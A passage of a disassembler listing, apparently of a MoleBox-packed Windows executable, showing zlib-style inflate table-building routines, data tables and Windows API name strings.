edi, [ebp+esi+var_74] lea ecx, [ebp+esi+var_74] sub ebx, edi mov [ebp+var_30], ebx js loc_4DD61C add edi, ebx mov [ebp+var_B0], edx mov [ecx], edi xor ecx, ecx dec eax jz short loc_4DD530 xor edi, edi loc_4DD51F: ; CODE XREF: sub_4DD425+109j add ecx, [ebp+edi+var_70] add edi, 4 dec eax mov [ebp+edi+var_B0], ecx jnz short loc_4DD51F loc_4DD530: ; CODE XREF: sub_4DD425+F6j mov ebx, [ebp+arg_0] xor edi, edi loc_4DD535: ; CODE XREF: sub_4DD425+136j mov eax, [ebx] add ebx, 4 cmp eax, edx jz short loc_4DD557 mov ecx, [ebp+eax*4+var_B4] mov edx, [ebp+arg_24] lea eax, [ebp+eax*4+var_B4] mov [edx+ecx*4], edi inc ecx mov [eax], ecx xor edx, edx loc_4DD557: ; CODE XREF: sub_4DD425+117j inc edi cmp edi, [ebp+arg_4] jb short loc_4DD535 mov eax, [ebp+esi+var_B4] mov ebx, [ebp+arg_18] or [ebp+var_8], 0FFFFFFFFh mov [ebp+arg_4], eax mov eax, [ebp+arg_24] mov [ebp+var_C], edx mov [ebp+var_10], eax mov eax, [ebp+var_4] neg ebx cmp eax, [ebp+var_18] mov [ebp+var_B4], edx mov [ebp+var_F0], edx mov [ebp+var_1C], edx mov [ebp+arg_0], edx jg loc_4DD791 mov edi, [ebp+var_24] lea ecx, [eax-1] lea eax, [ebp+eax*4+var_74] mov [ebp+var_2C], ecx mov [ebp+var_20], eax loc_4DD5A7: ; CODE XREF: sub_4DD425+366j mov eax, [ebp+var_20] mov eax, [eax] mov ecx, eax dec eax test ecx, ecx mov [ebp+var_14], eax jz loc_4DD77B loc_4DD5BA: ; CODE XREF: sub_4DD425+350j mov eax, [ebp+arg_18] add eax, ebx cmp [ebp+var_4], eax jle loc_4DD6A6 loc_4DD5C8: ; CODE XREF: sub_4DD425+279j mov ecx, [ebp+arg_18] inc [ebp+var_8] add eax, ecx add ebx, ecx mov [ebp+var_34], eax mov eax, [ebp+var_18] sub eax, ebx cmp eax, ecx mov [ebp+arg_0], eax jbe short loc_4DD5E4 mov [ebp+arg_0], ecx loc_4DD5E4: ; CODE XREF: sub_4DD425+1BAj mov ecx, [ebp+var_4] mov edx, [ebp+var_14] push 1 sub ecx, ebx pop eax shl eax, cl inc edx cmp eax, edx jbe short loc_4DD623 mov esi, [ebp+var_20] or edx, 0FFFFFFFFh sub edx, [ebp+var_14] add eax, edx cmp ecx, [ebp+arg_0] jnb short loc_4DD623 loc_4DD606: ; CODE XREF: sub_4DD425+1F5j inc ecx cmp ecx, [ebp+arg_0] jnb short loc_4DD623 mov edx, [esi+4] add esi, 4 shl eax, 1 cmp eax, edx jbe short loc_4DD623 sub eax, edx jmp short loc_4DD606 ; --------------------------------------------------------------------------- loc_4DD61C: ; CODE XREF: sub_4DD425+C1j ; sub_4DD425+E3j ... push 0FFFFFFFDh jmp loc_4DD7A6 ; --------------------------------------------------------------------------- loc_4DD623: ; CODE XREF: sub_4DD425+1CFj ; sub_4DD425+1DFj ... mov eax, [ebp+arg_20] push 1 pop edx mov eax, [eax] shl edx, cl mov [ebp+arg_0], edx lea esi, [eax+edx] cmp esi, 5A0h ja short loc_4DD61C mov edx, [ebp+arg_1C] lea eax, [edx+eax*8] mov edx, [ebp+var_8] mov [ebp+var_1C], eax lea edx, [ebp+edx*4+var_F0] mov [edx], eax mov eax, [ebp+arg_20] mov [eax], esi mov eax, [ebp+var_8] test eax, eax jz short loc_4DD690 mov esi, [ebp+var_C] mov edi, [ebp+var_1C] mov [ebp+eax*4+var_B4], esi mov eax, [ebp+arg_18] mov byte ptr [ebp+var_28], cl mov ecx, ebx mov byte ptr [ebp+var_28+1], al sub ecx, eax mov eax, esi shr eax, cl mov ecx, [edx-4] mov edx, [ebp+var_28] sub edi, ecx sar edi, 3 sub edi, eax mov [ecx+eax*8], edx mov [ecx+eax*8+4], edi jmp short loc_4DD698 ; --------------------------------------------------------------------------- loc_4DD690: ; CODE XREF: sub_4DD425+235j mov eax, [ebp+arg_14] mov ecx, [ebp+var_1C] mov [eax], ecx loc_4DD698: ; CODE XREF: sub_4DD425+269j mov eax, [ebp+var_34] cmp [ebp+var_4], eax jg loc_4DD5C8 xor edx, edx loc_4DD6A6: ; CODE XREF: sub_4DD425+19Dj mov al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_4] sub al, bl mov byte ptr [ebp+var_28+1], al mov eax, [ebp+arg_24] lea ecx, [eax+ecx*4] mov eax, [ebp+var_10] cmp eax, ecx jb short loc_4DD6C4 mov byte ptr [ebp+var_28], 0C0h jmp short loc_4DD6FB ; --------------------------------------------------------------------------- loc_4DD6C4: ; CODE XREF: sub_4DD425+297j mov eax, [eax] cmp eax, [ebp+arg_8] jnb short loc_4DD6DF cmp eax, 100h mov edi, eax sbb cl, cl and cl, 0A0h add cl, 60h mov byte ptr [ebp+var_28], cl jmp short loc_4DD6F7 ; --------------------------------------------------------------------------- loc_4DD6DF: ; CODE XREF: sub_4DD425+2A4j sub eax, [ebp+arg_8] mov ecx, [ebp+arg_10] shl eax, 2 mov cl, [eax+ecx] add cl, 50h mov byte ptr [ebp+var_28], cl mov ecx, [ebp+arg_C] mov edi, [eax+ecx] loc_4DD6F7: ; CODE XREF: sub_4DD425+2B8j add [ebp+var_10], 4 loc_4DD6FB: ; CODE XREF: sub_4DD425+29Dj mov ecx, [ebp+var_4] mov eax, [ebp+var_C] push 1 sub ecx, ebx pop esi shl esi, cl mov ecx, ebx shr eax, cl cmp eax, [ebp+arg_0] jnb short loc_4DD72F mov ecx, [ebp+var_1C] lea ecx, [ecx+eax*8] loc_4DD717: ; CODE XREF: sub_4DD425+306j mov edx, [ebp+var_28] add eax, esi mov [ecx], edx mov edx, esi shl edx, 3 mov [ecx+4], edi add ecx, edx cmp eax, [ebp+arg_0] jb short loc_4DD717 xor edx, edx loc_4DD72F: ; CODE XREF: sub_4DD425+2EAj mov ecx, [ebp+var_2C] push 1 pop eax shl eax, cl mov ecx, [ebp+var_C] loc_4DD73A: ; CODE XREF: sub_4DD425+31Dj test eax, ecx jz short loc_4DD744 xor ecx, eax shr eax, 1 jmp short loc_4DD73A ; --------------------------------------------------------------------------- loc_4DD744: ; CODE XREF: sub_4DD425+317j xor ecx, eax mov eax, [ebp+var_8] mov [ebp+var_C], ecx lea eax, [ebp+eax*4+var_B4] loc_4DD753: ; CODE XREF: sub_4DD425+346j push 1 mov ecx, ebx pop esi shl esi, cl dec esi and esi, [ebp+var_C] cmp esi, [eax] jz short loc_4DD76D dec [ebp+var_8] sub eax, 4 sub ebx, [ebp+arg_18] jmp short loc_4DD753 ; --------------------------------------------------------------------------- loc_4DD76D: ; CODE XREF: sub_4DD425+33Bj mov eax, [ebp+var_14] dec [ebp+var_14] test eax, eax jnz loc_4DD5BA loc_4DD77B: ; CODE XREF: sub_4DD425+18Fj inc [ebp+var_4] add [ebp+var_20], 4 mov eax, [ebp+var_4] inc [ebp+var_2C] cmp eax, [ebp+var_18] jle loc_4DD5A7 loc_4DD791: ; CODE XREF: sub_4DD425+16Cj cmp [ebp+var_30], edx jz loc_4DD48A cmp [ebp+var_18], 1 jz loc_4DD48A push 0FFFFFFFBh loc_4DD7A6: ; CODE XREF: sub_4DD425+1F9j pop eax jmp loc_4DD48C sub_4DD425 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DD7AC proc near ; CODE XREF: sub_4DBC4B+56Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, [ebp+arg_20] push 4 push 120h push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [ebp+arg_20], eax test eax, eax jnz short loc_4DD7D7 push 0FFFFFFFCh pop eax jmp loc_4DD8AC ; --------------------------------------------------------------------------- loc_4DD7D7: ; CODE XREF: sub_4DD7AC+21j push ebx push edi push eax lea eax, [ebp+var_4] push eax mov ebx, [ebp+arg_0] push [ebp+arg_1C] mov edi, 101h push [ebp+arg_C] push [ebp+arg_14] push offset dword_4DE12C push offset dword_4DE0B0 push edi push ebx push [ebp+arg_8] call sub_4DD425 add esp, 28h test eax, eax jnz short loc_4DD87E mov eax, [ebp+arg_C] cmp dword ptr [eax], 0 jz short loc_4DD891 push [ebp+arg_20] lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_8] push [ebp+arg_1C] lea eax, [eax+ebx*4] push [ebp+arg_10] push [ebp+arg_18] push offset dword_4DE220 push offset dword_4DE1A8 push 0 push [ebp+arg_4] push eax call sub_4DD425 add esp, 28h test eax, eax jnz short loc_4DD854 mov eax, [ebp+arg_10] cmp dword ptr [eax], 0 jnz short loc_4DD850 cmp ebx, edi ja short loc_4DD875 loc_4DD850: ; CODE XREF: sub_4DD7AC+9Ej xor edi, edi jmp short loc_4DD89D ; --------------------------------------------------------------------------- loc_4DD854: ; CODE XREF: sub_4DD7AC+96j cmp eax, 0FFFFFFFDh jnz short loc_4DD862 mov dword ptr [esi+18h], offset aOversubscrib_0 ; "oversubscribed distance tree" jmp short loc_4DD89B ; --------------------------------------------------------------------------- loc_4DD862: ; CODE XREF: sub_4DD7AC+ABj cmp eax, 0FFFFFFFBh jnz short loc_4DD870 mov dword ptr [esi+18h], offset aIncompleteDist ; "incomplete distance tree" jmp short loc_4DD898 ; --------------------------------------------------------------------------- loc_4DD870: ; CODE XREF: sub_4DD7AC+B9j cmp eax, 0FFFFFFFCh jz short loc_4DD89B loc_4DD875: ; CODE XREF: sub_4DD7AC+A2j mov dword ptr [esi+18h], offset aEmptyDistanceT ; "empty distance tree with lengths" jmp short loc_4DD898 ; --------------------------------------------------------------------------- loc_4DD87E: ; CODE XREF: sub_4DD7AC+5Cj cmp eax, 0FFFFFFFDh jnz short loc_4DD88C mov dword ptr [esi+18h], offset aOversubscrib_1 ; "oversubscribed literal/length tree" jmp short loc_4DD89B ; --------------------------------------------------------------------------- loc_4DD88C: ; CODE XREF: sub_4DD7AC+D5j cmp eax, 0FFFFFFFCh jz short loc_4DD89B loc_4DD891: ; CODE XREF: sub_4DD7AC+64j mov dword ptr [esi+18h], offset aIncompleteLite ; "incomplete literal/length tree" loc_4DD898: ; CODE XREF: sub_4DD7AC+C2j ; sub_4DD7AC+D0j push 0FFFFFFFDh pop eax loc_4DD89B: ; CODE XREF: sub_4DD7AC+B4j ; sub_4DD7AC+C7j ... mov edi, eax loc_4DD89D: ; CODE XREF: sub_4DD7AC+A6j push [ebp+arg_20] push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov eax, edi pop ecx pop edi pop ebx loc_4DD8AC: ; CODE XREF: sub_4DD7AC+26j pop esi leave retn sub_4DD7AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DD8AF proc near ; CODE XREF: sub_4DBC4B+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, ds:dword_4DF120 mov [eax], ecx mov eax, [ebp+arg_4] mov ecx, ds:dword_4DF124 mov [eax], ecx mov eax, [ebp+arg_8] mov dword ptr [eax], offset dword_4DF128 mov eax, [ebp+arg_C] mov dword ptr [eax], offset dword_4E0128 xor eax, eax pop ebp retn sub_4DD8AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DD8DE proc near ; CODE XREF: sub_4DBC4B+1F0p ; sub_4DBC4B+846p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push esi mov esi, [ebp+arg_4] mov edx, [ebx+30h] push edi mov edi, [ebx+34h] mov eax, [esi+0Ch] cmp edx, edi mov [ebp+var_8], eax mov [ebp+arg_0], edx jbe short loc_4DD902 mov edi, [ebx+2Ch] loc_4DD902: ; CODE XREF: sub_4DD8DE+1Fj mov eax, [esi+10h] sub edi, edx cmp edi, eax mov [ebp+var_4], edi jbe short loc_4DD913 mov [ebp+var_4], eax mov edi, eax loc_4DD913: ; CODE XREF: sub_4DD8DE+2Ej test edi, edi jz short loc_4DD921 cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_4DD921 and [ebp+arg_8], 0 loc_4DD921: ; CODE XREF: sub_4DD8DE+37j ; sub_4DD8DE+3Dj add [esi+14h], edi sub eax, edi mov [esi+10h], eax mov eax, [ebx+38h] test eax, eax jz short loc_4DD943 push edi push edx push dword ptr [ebx+3Ch] call eax mov edx, [ebp+arg_0] mov [ebx+3Ch], eax add esp, 0Ch mov [esi+30h], eax loc_4DD943: ; CODE XREF: sub_4DD8DE+50j mov ecx, edi mov edi, [ebp+var_8] mov eax, ecx mov esi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+var_4] add [ebp+var_8], eax add [ebp+arg_0], eax and ecx, 3 rep movsb mov eax, [ebx+2Ch] cmp [ebp+arg_0], eax jnz short loc_4DD9DC mov edx, [ebx+28h] cmp [ebx+34h], eax mov [ebp+arg_0], edx jnz short loc_4DD977 mov [ebx+34h], edx loc_4DD977: ; CODE XREF: sub_4DD8DE+94j mov esi, [ebp+arg_4] mov edi, [ebx+34h] sub edi, edx mov eax, [esi+10h] mov [ebp+var_4], edi cmp edi, eax jbe short loc_4DD98E mov [ebp+var_4], eax mov edi, eax loc_4DD98E: ; CODE XREF: sub_4DD8DE+A9j test edi, edi jz short loc_4DD99C cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_4DD99C and [ebp+arg_8], 0 loc_4DD99C: ; CODE XREF: sub_4DD8DE+B2j ; sub_4DD8DE+B8j add [esi+14h], edi sub eax, edi mov [esi+10h], eax mov eax, [ebx+38h] test eax, eax jz short loc_4DD9BE push edi push edx push dword ptr [ebx+3Ch] call eax mov edx, [ebp+arg_0] mov [ebx+3Ch], eax add esp, 0Ch mov [esi+30h], eax loc_4DD9BE: ; CODE XREF: sub_4DD8DE+CBj mov ecx, edi mov edi, [ebp+var_8] mov eax, ecx mov esi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+var_4] add [ebp+var_8], eax and ecx, 3 add [ebp+arg_0], eax rep movsb loc_4DD9DC: ; CODE XREF: sub_4DD8DE+89j mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] pop edi pop esi mov [eax+0Ch], ecx mov eax, [ebp+arg_0] mov [ebx+30h], eax mov eax, [ebp+arg_8] pop ebx leave retn sub_4DD8DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DD9F3 proc near ; CODE XREF: sub_4D0C5C+32Cp var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov eax, [ebp+arg_8] push esi mov esi, [ebp+arg_4] mov [ebp+var_38], eax mov eax, [ebp+arg_C] and [ebp+var_18], 0 mov [ebp+var_34], eax mov eax, [ebp+arg_0] and [ebp+var_14], 0 mov [ebp+var_2C], eax mov eax, [esi] push edi mov [ebp+var_28], eax push 38h lea eax, [ebp+var_38] push offset byte_4DF0A8 push eax call sub_4DD02B add esp, 0Ch test eax, eax jnz short loc_4DDA6E lea eax, [ebp+var_38] push 4 push eax call sub_4DD043 mov edi, eax pop ecx cmp edi, 1 pop ecx jz short loc_4DDA5F lea eax, [ebp+var_38] push eax call sub_4DCF00 test edi, edi pop ecx jnz short loc_4DDA5B push 0FFFFFFFBh pop eax jmp short loc_4DDA6E ; --------------------------------------------------------------------------- loc_4DDA5B: ; CODE XREF: sub_4DD9F3+61j mov eax, edi jmp short loc_4DDA6E ; --------------------------------------------------------------------------- loc_4DDA5F: ; CODE XREF: sub_4DD9F3+53j mov eax, [ebp+var_24] mov [esi], eax lea eax, [ebp+var_38] push eax call sub_4DCF00 pop ecx loc_4DDA6E: ; CODE XREF: sub_4DD9F3+3Fj ; sub_4DD9F3+66j ... pop edi pop esi leave retn sub_4DD9F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DDA72 proc near ; DATA XREF: sub_4DCF41+41o var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] imul eax, [ebp+arg_8] push eax call sub_4D835A pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4DDA72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DDA8C proc near ; DATA XREF: sub_4DCF41+50o var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] call sub_4D83DD pop ecx leave retn sub_4DDA8C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DDAB0 proc near ; CODE XREF: sub_4CDB8D+5j ; _4:004CDB97j push ebp mov ebp, esp push offset aApiNopefunc ; ":API:NopeFunc" call sub_4D84F7 pop ebp retn sub_4DDAB0 endp ; sp-analysis failed _4 ends ; Section 6. (virtual address 000DE000) ; Virtual size : 00000D76 ( 3446.) ; Section size in file : 00000D76 ( 3446.) ; Offset to raw data for section: 000DE000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _5 segment para public 'CODE' use32 assume cs:_5 ;org 4DE000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dword_4DE000 dd 77E79908h ; DATA XREF: sub_4CD2E0+3ADr ; sub_4CD2E0+3B8r ... dword_4DE004 dd 77E7A5FDh ; DATA XREF: sub_4CD2E0+1D9r ; sub_4CD2E0+1EDr ... dword_4DE008 dd 77E79A45h ; DATA XREF: sub_4CD2E0+1A5r ; sub_4CD2E0+398r ... dword_4DE00C dd 77E6D706h ; DATA XREF: sub_4CD2E0+12Br ; sub_4CD2E0+173r ... dword_4DE010 dd 77E79881h ; DATA XREF: sub_4CD2E0+1Ar ; sub_4CD2E0+108r ... dword_4DE014 dd 77E79F93h ; DATA XREF: sub_4CD2E0+Ar ; sub_4CD2E0+1B0r ... dword_4DE018 dd 77F7E300h ; DATA XREF: sub_4CC060+4r ; sub_4CF12B+15r ... dword_4DE01C dd 77F7E21Fh ; DATA XREF: sub_4CC000+2Cr ; sub_4CF036+65r ... dword_4DE020 dd 77E6C10Bh ; DATA XREF: sub_4D2DD0+1A1r dword_4DE024 dd 77E6E154h ; DATA XREF: sub_4D71C3+114r dword_4DE028 dd 77E61A90h ; DATA XREF: sub_4D7494+3Ar ; sub_4D7494+7Cr ... dword_4DE02C dd 77E62050h ; DATA XREF: sub_4DADDE+3Fr dword_4DE030 dd 77E641EBh ; DATA XREF: sub_4CCDBF+59r ; sub_4CCDBF+8Dr dword_4DE034 dd 77E781F9h ; DATA XREF: sub_4CCA80+42r ; sub_4CCA80+14Dr ... dword_4DE038 dd 77E77405h ; DATA XREF: sub_4CCA80+5Er ; sub_4CCA80+A7r dword_4DE03C dd 77F6183Eh ; DATA XREF: sub_4CCF68r dword_4DE040 dd 77E79924h ; DATA XREF: sub_4CCA80+20Dr dword_4DE044 dd 77E77CCEh ; DATA XREF: sub_4CCA80+DFr ; sub_4CCA80+137r ... dword_4DE048 dd 77E7C866h ; DATA XREF: sub_4CCDBF+3Fr ; sub_4CCDBF+12Dr align 10h dword_4DE050 dd 77D46F5Bh ; DATA XREF: sub_4CC15E+ADr dword_4DE054 dd 77D4B1B0h ; DATA XREF: sub_4CC271+B8r align 10h dword_4DE060 dd 10h ; DATA XREF: sub_4DBC4B+36Fr ; sub_4DBC4B+3A0r dd 11h, 12h, 0 dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1 dd 0Fh, 0FFFF0000h dword_4DE0B0 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h ; DATA XREF: sub_4DD7AC+48o dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0) dword_4DE12C dd 8 dup(0) ; DATA XREF: sub_4DD7AC+43o dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0 dd 2 dup(70h) dword_4DE1A8 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h ; DATA XREF: sub_4DD7AC+81o dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h dword_4DE220 dd 4 dup(0) ; DATA XREF: sub_4DD7AC+7Co dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh) dword_4DE298 dd 0FFFFFFFFh, 0 ; DATA XREF: _4:004CEBB5o dd offset sub_4CEDE4 align 8 dd offset loc_4CEDB2+2 dd offset loc_4CEDBA dword_4DE2B0 dd 0FFFFFFFFh, 0 ; DATA XREF: _4:004CEE35o dd offset sub_4CF00C align 10h dword_4DE2C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4CF036+5o dd offset sub_4CF12B align 10h dword_4DE2D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4CF252+5o dd offset sub_4CF61F align 10h dword_4DE2E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4CC000+5o dd offset sub_4CC05D align 10h dword_4DE2F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4CF6DE+5o ; --------------------------------------------------------------------------- jmp near ptr dword_4E2FF4 ; --------------------------------------------------------------------------- align 10h dword_4DE300 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4CF818+5o dd offset sub_4CF91D align 10h dword_4DE310 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4CF94C+5o dd offset sub_4CFCA7 dd 2 dup(0) dd offset sub_4CFA93 dword_4DE328 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4CFD24+5o dd offset loc_4CFE9E align 8 dword_4DE338 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4CFECD+5o dd offset loc_4CFF90 align 8 dword_4DE348 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4CFFBF+5o dd offset loc_4D01D1 align 8 dword_4DE358 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D0216+5o dd offset sub_4D0317 align 8 dword_4DE368 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D0421+5o dd offset sub_4D0643 align 8 dword_4DE378 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D0672+5o dd offset sub_4D0712 align 8 dword_4DE388 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D0741+5o dd offset loc_4D0829 align 8 dword_4DE398 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D0858+5o dd offset sub_4D0921 align 8 dword_4DE3A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D0950+5o dd offset sub_4D09E1 align 8 dword_4DE3B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D0C5C+5o dd offset sub_4D0E9D align 8 dword_4DE3C8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D1177+5o dd offset sub_4D1441 align 8 dword_4DE3D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D153F+5o dd offset sub_4D18B0 align 8 dword_4DE3E8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D19D2+5o dd offset sub_4D1A8F align 8 dword_4DE3F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D1CC4+5o dd offset sub_4D2194 align 8 dword_4DE408 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D2DD0+5o dd offset sub_4D35A2 align 8 dd offset loc_4D3354 dd offset loc_4D3385 dword_4DE420 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D3610+5o dd offset sub_4D4427 align 10h dword_4DE430 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D4490+5o dd offset sub_4D469C align 10h dword_4DE440 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D46D0+5o dd offset sub_4D4791 align 10h dword_4DE450 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D47BF+5o dd offset sub_4D487F align 10h dword_4DE460 dd 0FFFFFFFFh, 4D5388h, 4D539Bh, 0 ; DATA XREF: sub_4D50D0+5o dd offset loc_4D5250 dd offset loc_4D5264 dword_4DE478 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D5456+5o dd offset loc_4D56BB align 8 dword_4DE488 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D5A41+5o dd offset sub_4D5AB3 align 8 dword_4DE498 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D5BD7+5o dd offset nullsub_1 align 8 dd offset loc_4D5F3B dd offset loc_4D5F44 dd 2 dup(0) dd offset sub_4D5FCD align 10h dword_4DE4C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D61E1+5o dd offset sub_4D7085 align 10h dd offset sub_4D6B7F dd offset sub_4D6B88 dd 1, 0 dd offset sub_4D6B0E align 8 dword_4DE4E8 dd 0FFFFFFFFh, 4D72E3h, 4D731Dh ; DATA XREF: sub_4D71C3+5o off_4DE4F4 dd offset aMoleboxLaunche ; DATA XREF: sub_4D8401+13r ; sub_4D8C27+252r ; "MoleBox launcher fatal error" off_4DE4F8 dd offset aAssertionFai_0 ; DATA XREF: sub_4CF036+B6r ; sub_4CF94C+BFr ... ; "ASSERTION failed" off_4DE4FC dd offset aStripped ; DATA XREF: sub_4CF036+BEr ; sub_4CF94C+C7r ... ; "<stripped>" dword_4DE500 dd 0FFFFFFFFh, 4D8472h, 4D8476h, 0 ; DATA XREF: sub_4D8436+5o dword_4DE510 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D8538+5o dd offset loc_4D86FC align 10h dword_4DE520 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D8726+5o dd offset sub_4D87AB align 10h dword_4DE530 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D87CA+5o dd offset sub_4D8864 align 10h dword_4DE540 dd 0FFFFFFFFh, 4D8BFBh, 4D8BFFh, 0 ; DATA XREF: sub_4D8A16+5o dword_4DE550 dd 0FFFFFFFFh, 4D8FE0h, 4D8FE4h, 0 ; DATA XREF: sub_4D8EF3+5o dword_4DE560 dd 0FFFFFFFFh, 4D922Ch, 4D9230h, 0FFFFFFFFh, 4D92A5h, 4D92A9h ; DATA XREF: sub_4D918E+5o dword_4DE578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D9518+5o dd offset loc_4D9615 align 8 dword_4DE588 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D9638+5o dd offset sub_4D9696 align 8 dword_4DE598 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D9789+5o dd offset loc_4D989D align 8 dword_4DE5A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4D98C0+5o dd offset loc_4D99A2 dword_4DE5B4 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_4D9DD4+FBo ; sub_4D9DD4+15Fo ... dword_4DE5C4 dd 33696467h, 6C642E32h, 6Ch ; DATA XREF: sub_4D9DD4+10Fo ; sub_4DB23E+5o ... dword_4DE5D0 dd 72657375h, 642E3233h, 6C6Ch ; DATA XREF: sub_4D9DD4+123o dword_4DE5DC dd 33656C6Fh, 6C642E32h, 6Ch, 61766461h, 32336970h, 6C6C642Eh ; DATA XREF: sub_4D9518+C2o ; sub_4D9789+6Eo ... dd 0 dword_4DE5F8 dd 61656C6Fh, 32337475h, 6C6C642Eh, 0 ; DATA XREF: sub_4D99C5+30o ; sub_4D9A34+6Fo ... aSetunhandled_0 db 'SetUnhandledExceptionFilter',0 ; DATA XREF: _6:004E1254o aCreatefilea_0 db 'CreateFileA',0 ; DATA XREF: _6:004E125Co aCreatefilew_0 db 'CreateFileW',0 ; DATA XREF: _6:004E1264o aReadfile_0 db 'ReadFile',0 ; DATA XREF: _6:004E1284o align 4 aClosehandle_0 db 'CloseHandle',0 ; DATA XREF: _6:004E128Co aSetfilepoint_0 db 'SetFilePointer',0 ; DATA XREF: _6:004E1294o align 4 aGetfilesize_0 db 'GetFileSize',0 ; DATA XREF: _6:004E129Co aExitprocess_1 db 'ExitProcess',0 ; DATA XREF: _6:004E12A4o aCreatefilema_2 db 'CreateFileMappingA',0 ; DATA XREF: _6:004E12ACo align 10h aCreatefilema_3 db 'CreateFileMappingW',0 ; DATA XREF: _6:004E12B4o align 4 aLoadlibrarya_0 db 'LoadLibraryA',0 ; DATA XREF: _6:004E12D4o align 4 aLoadlibraryw db 'LoadLibraryW',0 ; DATA XREF: _6:004E12DCo align 4 aLoadlibrarye_0 db 'LoadLibraryExA',0 ; DATA XREF: _6:004E12E4o align 4 